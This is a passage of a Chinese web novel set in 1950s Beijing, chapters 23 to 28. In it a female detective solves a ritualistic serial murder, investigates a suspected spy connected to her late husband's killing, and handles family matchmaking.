对于齐云松怀疑她有问题，顾昭蕙并不意外，蒋永兴口中的松子，是个心思缜密头脑清醒的人，工作之后立了好几个大功，他说起来的时候甚至带有一点崇拜的口气。她有这样的变化， 23. 第 23 章 《五五迷雾寻踪》全本免费阅读 第二十三章 有了方向案件进展很快，这年代虽然没有电脑监控这样便利的工具，但是人们工作热情是非常强烈的，民众对于查案也是十分配合的。 先是查找到两位受害者身上穿着的旗袍，已经确定了两家裁缝店，两人的衣服都是一个月内定制的，两家裁缝店都属于老手艺的小铺子，两边都是拿了料子让这里的师傅缝制，唯一有交集的就是盘扣，他们两家的盘扣都是从一个人手上收来的，一对盘扣五分钱。 “送货的人叫万廖翔，我问过两家裁缝这人的身高体重，与嫌疑人十分相似。”吴非报告着。 顾昭蕙点点头看了笔录“这个万廖翔需要仔细查一下。他送来的盘扣是谁做的？” “他妻子，听裁缝铺的师傅说他妻子身体不好，所以平常都是万廖翔过来送东西。” “那接下来我们就查查万廖翔。” “我这边也有点进展，棋子胡同受害者的丈夫回来了，他说自己妻子有点迷信，在出事前曾经请了一个道士来家里，那人看了风水，然后给她请了符箓。不过当时他出门并没有与那人说什么话，那个道士还留着长长的胡子，样貌他都记不清楚了。”李想说道。 顾昭蕙点点头，“好的，这个案子差不多清晰了，凶手利用道术迷信来接触受害者，他挑选的受害者外形类似，年龄相当，受害者家里都有暗中进入的可能。”她拿出许芳家里凶手潜入路线图，“他在作案前做了许多准备，这个路线，不是一次就确定的，提前踩过点。他善于交流，会一些道术，应该提前了解过受害者情况，根据这个情况进行的布局，让受害者对他非常信任，许芳的家人朋友都说过，她虽然有些迷信，但是并不是那种容易被骗的人。” 顾昭蕙说到这里，“再排查一下许芳家附近的情况，应该有人看到他。问询范围扩大一些，他或许善于伪装。” “凶手的家人或许有某种疾病，常年卧病在床，他用刀比较老练，或许从事过杀猪或者相似的工作。”顾昭蕙将一切线索都总结出来。 案件查到这里几乎已经明了，剩下的就是对嫌疑人进行排查，顾昭蕙没有去，她昨天晚上回去之后突然想到了蒋永兴的案子，她当初对蒋永兴的遇害地点有一些猜测，如果没有意外的话就在那片胡同区，但是因为她当时还没有进入局里工作，更是无法接触这个案子所以并没有办法查找。 等她能接触到档案的时候，并没有发现可疑的地方，昨天跟齐云松谈过话，齐云松虽然嘴上说怀疑她，但是她也看出来齐云松之所以进入刑侦一科就是查找蒋永兴的案子。 想到这个世界上还有一个人没有放弃还在寻找真相，她还是很高兴的，晚上到家就将蒋永兴的案子又过了一遍，她突然想起之前的那个案子，周凌风杀害最后一个受害者的时候使用的是前一个案子的案发现场，那个地方因为发生了凶案，所以没有人去。 或许蝰蛇也是利用这样的地方，凶宅或者被封存的房子，又或者过去废弃的安全屋。 “你要查那片户籍资料，得去派出所。”王云说道。 顾昭蕙说道“我知道王姐，不过我就是去查个人，要是走刑侦那边就有点麻烦，王姐帮我开个介绍信行吧。”这边有什么资料她是最清楚的，只不过这个案子不应该过她的手，所以不好放在明面上。 王云看她一眼“你去找王哥，让他给你开个介绍信。王哥有战友在那边，更便利。” 王显贵这边还是很好说话的，也没问找什么就把介绍信给开了，“你拿着去就行。我给我战友打电话。” 拿到介绍信还没等她过去，这边案子就有进展了，万廖翔，三十二岁，有个妻子，二十四岁，患有先天性心脏病，去年开始卧病在床，医生检查过，以现在技术几乎没有治愈可能了。 万廖翔曾经在屠宰场做过学徒，不过因为屠宰场倒闭他并没有做这一行，后来跟其祖父学习道术，二十多岁的时候做过一段时间算命先生，四九年后，跟妻子结婚，托老丈人的福，进了纺织厂保卫科。 两名死者身高体重与万廖翔十分相识。 查过之后齐云松直接把人给带局里了，进行了指纹比对，证据确凿。 “说说受害者心脏在那里？”齐云松看着面前的万廖翔问道。 万廖翔带着手铐坐在那里，一声不知。 顾昭蕙看着万廖翔，对于这类连环杀人案的凶手，她是有一些了解，但是她觉着万廖翔与其他人不一样，他做这一切并不是心理变态，而是有一定的目的。 “说说吧。你的指纹与现场指纹完全吻合，所以你就算一句话也不说，也是没有任何意义的。”齐云松将手上的档案放到桌子上。 这时李想从外边走了进来，小声的对顾昭蕙说道“万廖翔妻子心脏病发，送医院了，虽然抢救过来了，但是医生说，心脏严重衰竭没有几天了。” 顾昭蕙点点头，看向万廖翔，“你妻子刚才心脏病发，送医院了，已经抢救过来了。” 万廖翔眼中闪过一丝悲痛，抬头看了看他们俩“如果我全部交代，能让我再见一眼我妻子吗？” 顾昭蕙和齐云松对视一眼，点点头，“可以。” 万廖翔抬头看了看屋顶，抽了一下鼻子，“能给我一颗烟吗？” 万廖翔将自己的作案经过全都交代了，许是为了见妻子最后一面，他交代的很彻底。 万廖翔父母去世早，他小时候辗转亲戚家里，过得很苦，屠宰场当过学徒，也当过大铁匠，还去外面扛过大包，可以说什么苦日子都过过，但是他这人运气不好，做什么事情总是没有一个好结果，不是场子黄了，就是铺子被炸了，一直颠沛流离，二十多岁的时候跟着一个师傅学道，他好不容易学了一阵子有了安稳日子师傅就意外去世了。 学了半吊子的道士，他就假装道士给人算卦看病。一直四九年，他遇到从外地来的妻子一家，当时他妻子还不到二十，人家给他 24. 第 24 章 《五五迷雾寻踪》全本免费阅读 第二十章 小心的跟着前面的人，那人身高有一米七八，看着有四十六七岁，身上穿着一件白色半袖衬衫，军装裤子。看起来是个有身份的人。 这片区域她是非常熟悉的，脑海中已经标注了许多的地点，她已经规划了几条路线，所以并不怕对方发现自己在跟踪他。她也想就近的观察一下，这人她不认识，她也无法确定这人就是蒋永兴失踪时就见过的那人。毕竟当时连背影也只是半个。但是她就是觉着熟悉。。 跟着人走了一段路过了两条巷子，见到这人进入一户院子，看这人将大门打开然后推车进去，顾昭蕙没有斜视直接骑车而过。那人似乎不经意的回了一下头。 顾昭蕙没有管那人，自己继续往前骑，脑海中闪过刚才看到的信息，大门是他打开的，虽然是虚掩着，但是能看出那是个独门独院，如果是大杂院白天大门一定敞开着，门口的电表也只有一个，所以那家只有独一户。那人相貌虽然只看到半边，但是下次见到一定能认出来。 顾昭蕙将这些记忆放在一边，按照脑海中规划的路线来到天福号，买了一个大肘子。 骑着车子往回走，顾昭蕙路过那家，大门已经关上了，这个地方选的好，门开在东边，挨着巷道，四通八达的，她刚才绕了一下，西边那边好像有个小小的随墙门，看起来是废弃的。是个不错的地方。 骑车到了家，一进院子，门口就有大爷打着招呼。 “小蕙回来了。哎呦给你爷买了酱肘子了？”老爷子眼睛都带着羡慕。 “是呢，天福号的，等会我给李爷切两片下酒啊。”顾昭蕙笑着说，如今她已经能很好的控制自己情绪，至少不会像以前那么冷着脸了。她也愿意装一装。 “哎呦，那我可得去打二两酒去。”老爷子露出缺了两颗门牙的牙花子笑的眉开眼笑的。 “行啊。”顾昭蕙拎着就往院里去了，可能听见她说话了，顾嘉蕙从屋里出来，今天她穿了一身碎花半袖，下边一条青色长裤，黑色的头发梳了两个麻花辫垂在胸前。她个子高有一米六八，比顾昭蕙高了许多，显得挺拔健康，脸上红红的特别阳光明媚，虽然不像顾嘉蕙那么秀气，却有一种健康美。 顾昭蕙将手里的酱肘子糕点递给妹妹“客人来了吗？” 顾嘉蕙有点不好意思的点点头“来了，他们也是刚到。”她脸上红红的 顾昭蕙点点头，看出她不好意思，“那你先将糕点肘子拿到厨房去吧，糕点用盘子装了端过来，再给李大爷切几片就酒喝。我去看看。” 顾昭蕙将车子支好，就往屋里走，听见屋子里几人说话笑呵呵的，看起来谈的挺好的，跨过门槛顾昭蕙就愣了一下，就看见父亲旁边坐着一个人那个人就是刚才她见过的。 “哎，小蕙你回来了。”顾铜看见大闺女回来了，脸上都闪着亮光，之前因为蒋永兴的死，顾铜心疼大闺女，虽然平常在家不念叨，但是有机会就去看看，后来顾昭蕙进了市局，顾铜觉着闺女有了个工作，将来不管怎么样总归有了依靠，却不想自己啊闺女干的这么好，他可是听到亲家公夸他闺女的话了，他都不敢相信，不过也因为这个他心里对大姑娘又有所不同，心理也不当成小姑娘了，倒成了依靠，所以今天才把人叫回家。 “嗯，紧赶慢赶还是回来晚了。”顾昭蕙笑着看着屋子里的人。 爷爷和奶奶没在，奶奶应该是在西屋，爷爷估计跟老伙计下棋去了，对方来了三个人应该是一家三口，一个年轻男子二十来岁的样子，个子不矮，挺白净的，还带个眼睛，知识分子的样子，一个女人四十多岁，穿着得体，打扮的也挺干净利索，剩下的就是那个男人了，此时看了面相，一脸正气，身上还穿着之前的那身衣服，看时间应该进家门没一会就过来了。 “这是我家大闺女，现在在市局工作，来小蕙我给你介绍一下，这是前门第十中学的教导主任，赵庆远，庆远你比我小是吧，小蕙得叫你叔。这是你赵婶子。这是赵迅，他也在第十中学当老师。” 顾昭蕙笑着听他父亲说完，看向几人打招呼说“赵叔赵婶。”然后又看向她爸说道，“爸你说巧不巧，刚才我回来，想着天福号的酱肘子，就去买，正巧跟着赵叔的车后边走，刚才我进屋就觉着眼熟，才想起来。” 赵庆远听了也笑了“可是呢，我刚才也觉着眼熟，可不就走了一道。” “这么巧，那正好，餐桌上又加了个菜，等会咱们哥俩好好喝一杯。”顾铜笑着说“小蕙你不知道，刚才我才知道，你赵叔跟你老范叔还认识呢。” 顾昭蕙心中一跳“是吗？这是从哪里讲的？” “你赵叔当年也在后方中学当过老师，那时候老范正是管后勤的，都在一个地，可不就认识吗。也是赶巧了。”顾铜很高兴，他对赵迅很满意，工作好，一聊天还有共同认识的人，知根知底，再好没有。 顾昭蕙笑了笑说“那太有缘了。”她说完，也不特意打听什么，就坐在赵婶旁边，跟着唠嗑。 “闺女你是不是不看好赵迅？”晚上顾铜出门送顾昭蕙，他看周围没人小声的问？ 顾昭蕙诧异的看了他吧一眼，“没有，怎么这么问？” 顾铜瞥了他闺女一眼，“你爸我又不傻，你今天晚上可有点反常。” 顾昭蕙觉着自己表现好像没什么吧，回忆一下，挺正常的啊。 顾铜没解释，他总不能说，自从蒋永兴去了，自家闺女性格就大变样，冷清了不说，对于一些事情不喜欢就不去牵强，按照她的性格估计也就看一眼，然后就不会太过参与，绝对不会像是今天晚上这样，还陪着吃饭说话。 顾铜以前跟着年代大多数父亲一样，对于女儿关注不多，但是自从蒋永兴去世，他就有些变化了，不像以前那么板着了，对女儿关系多了起 25. 第 25 章 《五五迷雾寻踪》全本免费阅读 第二十五章 顾昭蕙想要破坏顾佳蕙和刘迅的交往还是很容易的，难的是怎么做到不动声色，不引起怀疑。 她还是无法确认赵庆远是不是间谍，一切只是脑海中的一个背影，并不明了，但是昨日通过观察赵庆远，发现这个人就算不是蝰蛇，也是有些问题的，她昨日跟踪这人，但是提前做了一些掩护，从行走路线到行为，她自信自己没有露出破绽，甚至晚上回家之后对自己的一些行为进行了回顾。 回顾过程中发现自己没有问题，她甚至为了防止被对方怀疑，都没有用目光之直视他，对方反而有些过于谨慎了，在家里的时候她能感觉到对方已经不怀疑她了，但是赵庆远，有意无意间还是跟父亲打听了一些她的事情，那些问话，表面上没有问题，但是细琢磨就会发现对方对于自己在市局上班是有些疑虑的，为什么呢？ 思考了一下，顾昭蕙只能想到自己是蒋永兴妻子这个身份，那么妹妹跟刘迅交往有没有什么问题，她昨天问过妹妹，妹妹和刘迅交往，是通过单位同事介绍认识的，两个人都属于教育口的，就算不在一个学校，之间还是会有联系的。 本来顾佳蕙觉着自己年纪小，不那么急着结婚，但是同事给她说了两回，说是刘迅人很好，俩人可以先了解一下，结婚也不那么着急。 她也是有点躲不过，就去见了，结果人还真的不错，这人很有文人气质，谈吐间也表现了很好的教养，两人见了两次面，觉着还不错，所以才会让家人见见，如果合适俩人就正式交往一下。 顾昭蕙假设赵庆远是有问题的，那么他或许会通过这样的方式接触她家人，这也许跟蒋永兴有关系，为什么呢，事情已经过去一段时间了，虽然三处那里并没有放弃寻找凶手，但是案子确实先搁置了，赵庆远根本没有必要接触她，那样只会打草惊蛇。 忽地顾昭蕙想到蒋永兴出事前查的事情，他没有跟局里报备，自己一个人查案，这违反了规定，这对蒋永兴来说是非常出格的，那他为什么还这么做呢？ 一定是嫌疑人身份有问题，那么蒋永兴，这么长时间查了之后会不会已经找到什么证据，那这份可能存在的证据会放在那里。 顾昭蕙脑海一片清明。 齐云松速度很快，隔一天就将一份资料放在了顾昭蕙面前，按照回避原则，顾昭蕙是不能参与案件的，但是齐云松还是跟上边打了报告，实在是顾昭蕙的能力太强了，他们或许可以借用她的能力进行破案，齐云松对于顾昭蕙有个矛盾心理，信任又怀疑，信任她的能力，怀疑她性格大变会不会有什么问题。 但是他还是给她争取了许多权限。 “你猜测的没错，赵庆远，当年在后方中学担任老师期间，教导过蒋永兴。当年我和蒋永兴一起跟大部队转移，半路上遇到轰炸和袭击，我们两个分散了，蒋永兴当时摔断腿，一直养了几个月才彻底好，早先住院的时候就跟赵庆远一个病房。”齐云松给顾昭蕙介绍着。 顾昭蕙看手上的资料，里面非常详细，三处能用一天时间就将事情查的这样清楚，也是非常厉害的“所以赵庆远当年是被炸伤后，被后方医院救了，然后就留下来当老师了？”关于这一点只是记载这些并没有赵庆远早年的经历。 齐云松点点头“是的，档案上记载他是从沪市过来的，以前就是个老师，具体的信息已经有人过去查了，不过这个不抱多大希望，过了这么许多年，估计没什么信息了。” 顾昭蕙点点头，当时大家注意力都在抗战上，信息不全也是很正常的，如果按照时间算，这人如果是间谍，潜伏也有十来年了。 “我找到一个当年跟永兴一起上学的朋友，他还记得当年赵庆远对永兴很照顾，永兴当时腿脚不方便，他还专门给他补习过。” “永兴出事后，我怀疑是熟人做的，永兴应该在暗中查案，涉案人员应该是熟悉的人，所以才会秘密查询，所以这个赵庆远，身上还是有些嫌疑的。” 她已经将案卷全部看完了，然后点了点最前面的一个时间，“他出现的时间也有点太巧了，这个时间小日子已经露出败势，南边当时应该就已经有了计划，当时应该潜伏不少人过来。” 齐云松点头“你说的很有道理，我们查到一些人，有一部分人就是在那前后过来的。这批人隐藏的还深，有一部分，后期没来得及撤走，就留下来了。” 尽管他们俩还没有任何证据，但是当看过档案，发现很多事情都太过巧合顺畅，这人没有破绽，越是这样越引人怀疑。 “你妹妹的事情，已经有人开始去做了，不过不会那么快，需要差不多一个月时间，到时候把赵迅调离。” 顾昭蕙点点头，她没有什么意见，这件事情让三处的人去做，她还是比较放心的，至于说这一个月她妹妹会不会跟赵迅交往加速，这个她并不太担心，她妹妹性格开朗，但是对感情还懵懵懂懂的，通过她的观察妹妹对赵迅还只是有好感的状态，还没有产生爱情，绝对不会爱的死去活来的。 最让她放心的还是她爹，她以前都没有发现自家父亲会那么聪明，也警觉，昨天下班的时候来到她单位，告诉她已经让佳蕙报名电大学习班了，学习班课业挺紧的，每周晚上六节课，地点离他们家还不远，这样就占去女儿大部分时间，就算到了周末，她也是有很多课业要学，出门时间也不会太长。 顾铜不但让小女儿上学，还对赵迅进行了一系列的教育，大意就是他们还年轻，趁着这个好时机，充实自己，将来对他们的前途都很有影响。他说的十分恳切，赵迅深以为然，而且老丈人还说了，他们是非常支持他们进步的。听说赵迅都考虑到那里进修了。 顾铜最厉害的就是他做这一切都不动声色，赵迅不但一点没发现问题，还对顾铜十分感激，觉着真是把他当成一家人了。 这么一来就顾昭蕙他们就有更多的时间 26. 第 26 章 《五五迷雾寻踪》全本免费阅读 第二十六章 “小蕙，今天晚上你大哥和嫂子回来，要是没事早点回来。”田静兰看顾昭蕙要出门从厨房走出来说道。 “好的，妈。”顾昭蕙推着自行车往外走。 “小蕙别听你妈的，还是工作要紧。”蒋志忠从屋子里出来。 顾昭蕙笑了笑，“没事爸，只要没案子肯定能早回来的。”今天是他大哥生日，虽然不用专门庆祝，但是晚上肯定要聚一聚的。这段日子她总是回来的挺晚的，也不怪田静兰提醒。 等顾昭蕙离开，蒋志忠跟田静兰说“小蕙现在已经是小组长了，自己带一队人，平常工作肯定挺忙的。” “这我也知道啊，不过跟她说一声，她这阵子是挺忙的，我不是想着趁机让她歇歇么，你看这段日子，周日都不休息。”田静兰瞪了自家老头一眼“你呀自己是工作狂，就不让别人歇歇了。” 蒋志忠哈哈笑了一下“行行，你说的对，不过这孩子还真是厉害，前几天老张见到我还说呢，她破的案子都被部里注意了，案件都作为典型，需要全局学习呢。” 田静兰看了他一眼，“看你得意的。”说完脸上黯淡一下，“哎，要是永兴还活着就好了。” 蒋志忠听了脸上表情也是有点低沉“永兴的案子听说有点进展了，听说还是小蕙偷偷查的，这孩子一直没放下。” 田静兰听了神色倒是缓和了许多，当年她一直跟着战地医院到处跑，见过太多生死，身边的战友朋友，陌生的人，一个个的死在她眼前，她心理是足够坚强，这么长时间她已经接受了儿子去世的事实，只是每当想起还会心疼。 “那时候我问她是回娘家还是留下，她说会找出杀害永兴的人，我以为她只是一时想法，却不知道，她一直在追查。”她当然也想知道是谁杀了永兴，永兴的事情现在还没有结论，也没有最后定性，可是这件事情涉及太多，连蒋志忠都做不了什么，更何况是她呢。 “总会有个结论的。”蒋志忠说道。 “对了我们医院程医生，那天问我小蕙有没有改嫁的意思，她有个侄子人不错，她想给介绍一下。”田静兰说到。 蒋志忠听了眉头皱了一下，“这种事总要她自己想再说，咱们不好掺和，再说永兴才去几个月满打满算才百天，这时候提出来，好像咱们赶她似的。”蒋志忠听了心里不舒服。 田静兰给自己盛了一碗粥，“看你说的，程医生跟我都多少年朋友了又不是外人，换了别人我也不乐意啊。听说那孩子挺好的，都是团长了，一直打仗耽搁了。人品好，年龄也才二十七，之前一直不松口，这不是调回京城这边，安顿下来，才同意相看对象。”程医生跟她是真的好，自然也知道她对儿媳妇的态度，所以才会说这个事情，不然谁会这么不长眼。 蒋志忠听了想想也是，“人品怎么样啊？可不能随便介绍，脾气得好，别把军营那一□□来。”条件听着倒是不错。 “程医生说人品挺好的，还是个有学问的。”田静兰说道。 蒋志忠想了想“也不能急，先探探小蕙口风，别她自己不愿意，我觉着她跟永兴感情还是很深的，咱们虽然不想她给永兴一直守着，可也要考虑她的心情，给她一些时间，总归年龄不大，过上两三年再说也是可以的，她自己放下了，再往下走才好。” 田静兰点点头，“我也是这个意思，只是程医生说那个团长真是挺好的，要不是他自己一直专心打仗，估计想嫁他的姑娘都能绕故宫三圈了。” 蒋志忠放下碗筷“再好能怎么的，小蕙也挺好的，配谁都配的上，我还觉着这人年级大了呢。” 田静兰白了他一眼“我上班跟程医生说一下，先放放，先跟小蕙说一下。看她的意思再说。”说实话，在一起生活这段时间，他们也从最开始的有点别扭的关系，转变为一家人的关系。 他们两口子开始面对顾昭蕙的时候其实都有点别扭，一见到她就会想到儿子，那种感觉不太好受，但是接触多了，就发现这姑娘真的是个很好的姑娘，就是很通透很稳，永兴去世对她打击肯定挺大的，性格都有了改变，参加工作后，又是那么出色，他们心里多少有种看我家孩子多出色的自豪感。 田静兰还好些，蒋志忠了解更多，也就更喜欢这孩子了，现在多少有点把顾昭蕙当成自己啊姑娘了，甚至喜欢程度都超过大儿子了，这段日子跟大儿子说话，有时候都带着嫌弃。觉着儿子工作不够出色了。 其实说起顾昭蕙将来是不是嫁人的事情，田静兰从来没有考虑一直留着顾昭蕙，毕竟孩子还年轻，她也不是那种非要儿媳妇给儿子守寡的那种恶婆婆，只是吧现在她心里还真的渐渐有点想法，就好像顾昭蕙在家里，那她儿子就还在这世上一样，如果有一天顾昭蕙结婚嫁人了，那么她的小儿子是不是就再也没有人提起了。 顾昭蕙不知道已经有人想给她介绍对象了，她今天来的挺早的，科里给他们分的办公室，前两天进行粉刷了，今天正是搬进去，她要早点去，看看有没有地方需要收拾的。 结果等她一进办公室，就发现组里的人都来了，已经开始往里搬办公桌了。齐云松叉着大长腿，正站在窗台上挂窗帘，别人挂窗帘站在窗台上都不一定够到顶，他往窗台上一站，脑袋都得磕棚顶。 “怎么都来这么早。”顾昭蕙放下手里的拎兜，上前帮忙。 “都想着早点把办公室布置好。这不吴非一早上就敲我门，给我折腾起来了。”李想笑着说，他和吴非都是单身汉，现在住后边宿舍。 顾昭蕙一看，大家已经把屋子擦的差不多了，地面也拖得干干净净的，桌子放好，就可以办公了“对了，白姐，等会去后勤要一块黑板放到这。”顾昭蕙指了指办公室左前方的位置。 “行，等会李想你跟吴非跟我去搬，后勤准备不少黑板，还有安钉，听说就 27. 第 27 章 《五五迷雾寻踪》全本免费阅读 第二十七章 顾昭蕙等着组员看完卷宗，脑海中将案件进行梳理，两起案子受害者脸部都是被刀具划了数刀，经过观察可以发现，下刀方向力度都很相似，确定同一凶手。 两者被跑尸地都是偏僻地方，一处垃圾场，一处为柴火垛，地点属于东城近郊地区。两处地点可以确定是第一现场。 这会几个人将卷宗内容已经看完了，顾昭蕙将卷宗再次拿到手里，然后看着两名受害者的照片，“大家都说说，自己的想法。”顾昭蕙愿意让他们顺着自己的思路思考。 东城分局的几位都没说话，或许他们也没想到市局来的人看到卷宗就开始工作起来，不过这会他们都不知声了，也想看看市局人怎么破案。 齐云松看了一眼周柏，看他还在静静地思索，就提起话头，“从受害者伤口上看，确实可以认定为同一凶手，抛尸地为第一案发地点，范围很近，但是地点都很隐蔽，凶手应该是了解周围环境，甚至这个地方对于凶手来说是个非常容易脱身的地方。所以两次都是选择这个地方。可以从周边人群入手。” 顾昭蕙点点头，周柏将目光从档案上移开看向齐云松。 “另外就是两名受害者都是被割喉之后毁容，说明凶手对死者的外貌非常在意。这个也是需要注意的。暂时先说这些吧，我觉着咱们还要到现场看一下。”可惜最近的一个案子都过去两周了，估计没什么有用的痕迹了。 顾昭蕙将目光看向周柏，周柏想了想说“凶手在杀死死者之后毁容的事情，我觉着是不是考虑一下凶手的性别，或许凶手是个女人。” 顾昭蕙赞赏的看了一下周柏，“这个可以考虑，两名死者年龄一个二十三一个二十四，年级正好，从现场照片来看，似乎没有打斗的痕迹，所以我们可以怀疑，凶手是自愿去现场的，有几种可能，凶手是个他们认识的人，或者凶手不会让他们产生威胁的人，又或者被诱骗过去。如果是女人，做到这一点也很容易。” “如果是女人，下手未免太果断了。”齐云松有自己的想法，档案上记载着两个死者都是动脉被划破失血过多而死，划的痕迹很深，也很果断。 “这确实是个问题。”女人和男人力气是不同的，“看两名死者脸上的伤痕，也是很深，几乎将脸上所有的地方都划过了，凶手在泄愤，每一刀都用了死力。一般男性凶手如果处于愤怒杀戮状态，如果想要发泄，更多的会对准女性特征下手，极少有产生毁容的念头。而且男性凶手在杀害女性受害者的时候，很多都是带有X侵的行为，尤其使用刀具进行行凶，刀具往往代表他的X器官。而本案的凶手对死者身体没有任何的动作，反而对受害者的脸进行了破坏。所以对于凶手性别我也倾向于女性。” 顾昭蕙一脸冷静的说着自己的结论，在场几位男性却有些不自在，毕竟这时候人还很保守，这位竟然没有任何波动的说出那些话，他们多少有点不适应。 顾昭蕙没理这帮人心里反应，“另外我也看过了东城分局抓的那位嫌疑人，虽然已经洗清了他的罪行，但是我看过笔录，这位嫌疑人是个神志不太清楚的拾荒人是吧。”她看向刘一舟，尽管笔录上记载了，她还是想听刘一舟说一说。 刘一舟点点头，“是的，这人是个拾荒人，我们当时找到他的时候他浑身是血，手里还拿着受害人的手提袋，所以被带回来，因为他神志有些混乱，我们也是询问了许多次才确定他的嫌疑。” 顾昭蕙看着笔录上写的‘就这样一刀一刀一刀划下去。’嫌疑人虽然叙述的不多，但是有几条都是他自己说的是怎么作案过程，有几条说的还是很清楚的，跟现场完全吻合，所以也不怪东城分局认定他是凶手，这两个案子相隔有一个月，如果不是嫌疑人精神问题，估计都被拉去打靶了。在没有那么细致的勘查技术前，这足够定罪了。 “这个嫌疑人，虽然可以洗清嫌疑，但是看他的笔录，他应该是第一个受害者死亡目击者。所以我们还要想办法问一问他，刘队长这方面就靠你们了，找人引导一下，看看能不能让他说出更多的信息，所有的话都要记录下来。” 刘一舟点点头“好的，这人精神不太正常，虽然洗清嫌疑我们也没放出去，这段日子吃好睡好，听看守所的人说，人安静了不少，我亲自去问，应该能问出点什么。” 顾昭蕙看向周柏“周哥，你在东城这边熟悉，你带东城这边同志调查一下两名受害者的情况，主要查找两者之间是不是有交集存在。”她看向手上资料说道“虽然两者现在看来没有交集，但是看凶手的动作，我怀疑，这其中隐藏着我们不知道的内情。” 周柏站起来“好的，这方面就教给我吧。” 顾昭蕙想了想又多说了一句“如果两者没有交集，互相间不认识，那么就看看他们身上是不是发生什么意外，与人口角或者与人冲突，让人毁容这类事情。”实在是那刀口深可见骨，情绪带着愤怒发泄。像是一种报复。 说完看向齐云松几人“咱们去两个现场看一看。” 出事地点在东城区近郊地方，这边看起来就是农村，第一位死者死亡地点是一处垃圾场，通过随行而来的民警介绍，这边原来叫胡家村，四九年后被划归东巷街道，住户除了原村民，还有一大批养殖场的职工。 这边本来就是临郊，有很多的田地，其中有一处划给了养殖场，建设了一处大型的养殖场，光里边工人就有一千多人。与养殖场一起建立的就是养殖场的职工宿舍，就建设在胡家村里。 垃圾场应该叫垃圾回收场，是与养殖场挨着的一处垃圾处理地，主要是从东城各个垃圾场回收的可再利用垃圾，处理的地方。其中最多的就是纸壳书籍一类的东西。 不过死者死亡的地方紧挨着胡家村，那个地方属于垃圾回收场外围，堆积着一些废弃垃圾，无法进行再处理的，这里的垃圾就进行焚烧处理，没一个月都会清理一次。 顾昭蕙他们过来之后发现另外一边有一堆废料放着，而案发现场竟然还保留着“这个现场一直没动吗？” 随行的小胡点点头“没有动，之前咱们一直告诉这边现场不要乱动，垃圾场那边有一些垃圾没地方堆，他们就换了个地方 28. 第 28 章 《五五迷雾寻踪》全本免费阅读 第二十八章 第二现场与第一现场差不多，只不过看出来凶手下手更从容，地上喷溅血液更多。 两个现场没有留下更多的痕迹，因为地形的关系，这边几乎没有得到什么现场痕迹，脚印血迹都没有。 顾昭蕙他们回到东城分局，去看了一下死者的遗体，第一起案件受害者遗体已经被家属领回去火化了，不过第二具遗体还在，遗体存放在殡仪馆，殡仪馆的冷柜年头太久了，所以冷柜打开的时候就溢出一股让人难以忍受的味道。 一起过来的吴非李想都有点忍受不住，尤其尸体拉出来的时候，两人更是忍不住干哕了几下。 齐云松有点不适的揉了一下鼻子，看向顾昭蕙，以外的发现，她竟然没什么反应，甚至鼻子抽动一下似乎在分辨什么。 事实上顾昭蕙的大脑在收集信息，许是抛去没用的感情，她对于这些容忍度是非常高的，甚至闻到味道的第一时间不是产生呕吐恶心这样的反应，而是将这种味道存在自己的记忆区，如果下次再有这样的味道出现，她会第一时间分辨。也许是调动了自己大脑中的记忆连接，类似的味道突然出现在她记忆中。那些都是顾湘在学校实习时遇到的。简直就是暴击。 顾昭蕙让几人将尸体搬到旁边的停尸台上，仔细看了起来，“刀子深入尺度比第一句尸体高，所以死者失去反抗能力更快。”她将死者后脑头发扒开，里边有死前伤害痕迹，一片，“凶手抓着受害者头发，位置靠近后脑，凶手身高应该在一米六左右。”这名死者身高一米六七，看角度凶手的身高比死者矮。 这时顾昭蕙突然看到死者头发有一处黏在一起，她仔细看了看，拿了剪刀将那处头发剪下来，“这或许凶手的血迹。” 齐云松走到跟前细看，“死者头发是不是用什么东西扎起来，凶手抓伤了手。” “嗯，不确定，询问一下死者家人。”顾昭蕙问。 死者身上其它部位没有太多的痕迹。 回到东城分局，周柏他们还没回来，都过了吃饭点了，不过东城分局照顾他们，给他们开小灶，白面馒头四个菜，其中包括一盆红烧肉，对他们是真的照顾。 “怎么这好吃的菜，你俩不吃了。”说话的是张燕山，他是从部队上下来的，调过来是因为他身手好，对破案没什么经验，但是绝对是个抓捕好手，这一上午他就跟在旁边看着，没提过什么意见，这会倒是调侃李想吴非。 吴非这会还有点不舒服呢，实在是当时拉冰柜的时候没准备一下子把他给恶心到了。 顾昭蕙看了他们一眼，没说啥，夹起一大块红烧肉就吃了，东城分局的大师傅手艺可真不错，这还是她吃过最好吃的红烧肉呢。 “你俩也不是新手，怎么还矫情上了。”齐云松一边吃着一边说，“以后咱们遇到的事多了，可不兴这样。” 别管吴非和李想的郁闷，顾昭蕙这顿饭吃的不错，吃了饭还去找厨房大师傅，问问能不能在给她做一份红烧肉，她出肉票和钱，准备晚上带回家让家里人尝尝。 食堂大厨也没推辞，这时候供应还没那么紧张，各单位都有小灶，更何况顾昭蕙也拿了钱票，不是啥难事，跟厨师约好了晚上下班前过来拿。 顾昭蕙几人就去临时办公室了，先看了上午刘一舟对那位拾荒人的问询，记录不少，这次刘一舟有耐心多了，可能是吃饱喝足，这位没有名字的拾荒人还真的说了不少东西。 “黑影子？什么样的黑影？”顾昭蕙皱着眉头问。 “没说，他说那人一身黑，人瘦高瘦高的。”刘一舟也有点头疼。 如果说人瘦高的，跟他们推测可不相符。 “他是躺在地上看到的。所以这个描述不准确。”齐云松说道。 “哎，你们说啊，这两起案子按照时间算，都是在白天发生的，就算在小心也会碰到血迹，尤其在她划脸的时候，那么她离开的时候为什么没有被人发现呢，她是怎么隐藏的？”顾昭蕙突然想到一个问题。 案发地点虽然比较偏僻，但是凶手离开的时候可是离开那个位置从那个方向走都是能被人看到的。为什么没有人觉着不对劲呢。 齐云松脑海突然闪过一个念头“如果是养殖场的工人呢？养殖场里可还有一个屠宰间，我记得这边养殖场是很大的，他们身上应该穿着黑色围裙吧。” 顾昭蕙一下子也精神起来，“对啊。”她随手抽出这片的地形图，虽然她脑海中就有完整的，但是这样看着更直观，“养殖场的屠宰间，就在这里。离两个案发地点都不远。” 嫌疑人是不是可以锁定范围了。 “屠宰间的工人我们都查过了，并没有可疑人员。”刘一舟这会插话道，当时他们排查的很彻底，尤其附近的垃圾回收场和养殖场进行了很细致的调查，并没有发现可疑人员。 拿过刘一舟他们调查记录看了一下，确实很清楚，“这些都是正式工，有临时工吧。”顾昭蕙发现并没有临时工的记录。 刘一舟点点头“他们场子没到最忙的时候所以并没有临时工。上个月场子进行了重组，并没有招临时工。” 